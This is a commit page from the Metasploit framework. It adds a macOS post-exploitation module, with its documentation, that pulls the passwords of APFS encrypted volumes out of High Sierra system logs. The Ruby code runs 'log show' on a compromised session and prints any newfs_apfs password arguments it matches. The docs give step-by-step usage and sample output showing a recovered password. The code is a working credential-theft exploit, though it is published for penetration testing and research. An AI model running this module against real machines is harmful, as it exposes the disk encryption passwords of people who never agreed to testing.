Skip to content

Commit

Permalink
Land #9784, add osx high sierra APFS password disclosure post module
Browse files Browse the repository at this point in the history
  • Loading branch information
timwr authored and msjenkins-r7 committed Apr 18, 2018
1 parent 8bacddb commit b958526
Show file tree
Hide file tree
Showing 2 changed files with 114 additions and 0 deletions.
Original file line number Diff line number Diff line change
@@ -0,0 +1,43 @@
This module uses a vulnerability in macOS High Sierra's `log` command. It uses the logs of the Disk Utility app to recover the password of an APFS encrypted volume from when it was created.

## Vulnerable Application

* macOS 10.13.0
* macOS 10.13.1
* macOS 10.13.2
* macOS 10.13.3*


\* On macOS 10.13.3, the password can only be recovered if the drive was encrypted before the system upgrade to 10.13.3. See [here](https://www.mac4n6.com/blog/2018/3/21/uh-oh-unified-logs-in-high-sierra-1013-show-plaintext-password-for-apfs-encrypted-external-volumes-via-disk-utilityapp) for more info

## Verification Steps

Example steps in this format (is also in the PR):

1. Start `msfconsole`
2. Do: `use post/osx/gather/apfs_encrypted_volume_passwd`
3. Do: set the `MOUNT_PATH` option if needed
4. Do: ```run```
5. You should get the password

## Options

**MOUNT_PATH**

`MOUNT_PATH` is the path on the macOS system where the encrypted drive is (or was) mounted. This is *not* the path under `/Volumes`

## Scenarios

Typical run against an OSX session, after creating a new APFS disk using Disk Utility:

```
msf5 exploit(multi/handler) > use post/osx/gather/apfs_encrypted_volume_passwd
msf5 post(osx/gather/apfs_encrypted_volume_passwd) > set SESSION -1
SESSION => -1
msf5 post(osx/gather/apfs_encrypted_volume_passwd) > exploit
[+] APFS command found: newfs_apfs -i -E -S aa -v Untitled disk2s2 .
[+] APFS command found: newfs_apfs -A -e -E -S secretpassword -v Untitled disk2 .
[*] Post module execution completed
msf5 post(osx/gather/apfs_encrypted_volume_passwd) >
```
71 changes: 71 additions & 0 deletions modules/post/osx/gather/apfs_encrypted_volume_passwd.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,71 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post

def initialize(info={})
super(update_info(info,
'Name' => 'Mac OS X APFS Encrypted Volume Password Disclosure',
'Description' => %q(
This module exploits a flaw in OSX 10.13 through 10.13.3
that discloses the passwords of encrypted APFS volumes.
In OSX a normal user can use the 'log' command to view the system
logs. In OSX 10.13 to 10.13.2 when a user creates an encrypted APFS
volume the password is visible in plaintext within these logs.
),
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'https://thehackernews.com/2018/03/macos-apfs-password.html' ],
[ 'URL', 'https://www.mac4n6.com/blog/2018/3/21/uh-oh-unified-logs-in-high-sierra-1013-show-plaintext-password-for-apfs-encrypted-external-volumes-via-disk-utilityapp' ]
],
'Platform' => 'osx',
'Arch' => ARCH_ALL,
'Author' => [
'Sarah Edwards', # earliest public discovery
'cbrnrd' # Metasploit module
],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [
[ 'Mac OS X High Sierra (10.13.1, 10.13.2, 10.13.3)', { } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Mar 21 2018'
))
register_options([
# The command doesn't give volume names, only mount paths (current or previous)
OptString.new('MOUNT_PATH', [false, 'The mount path of the volume to get the password of (Leave blank for all)', ''])
])
end

def check
osx_version = cmd_exec('sw_vers -productVersion')
return Exploit::CheckCode::Vulnerable if osx_version =~ /^10\.13[\.[0-3]]?$/
Exploit::CheckCode::Safe
end

def run
if check == Exploit::CheckCode::Safe
print_error "This version of OSX is not vulnerable"
return
end
cmd = "log show --info --predicate 'eventMessage contains \"newfs_\"'"
cmd << " | grep #{datastore['MOUNT_PATH']}" unless datastore['MOUNT_PATH'].empty?
vprint_status "Running \"#{cmd}\" on target..."
results = cmd_exec(cmd)
vprint_status "Target results:\n#{results}"
if results.empty?
print_error 'Got no response from target. Stopping...'
else
successful_lines = 0
results.lines.each do |l|
next unless l =~ /newfs_apfs(.*)-S(.*)$/
print_good "APFS command found: #{$&}"
successful_lines += 1
end
print_error "No password(s) found for any volumes. Exiting..." if successful_lines.zero?
end
end
end

0 comments on commit b958526

Please sign in to comment.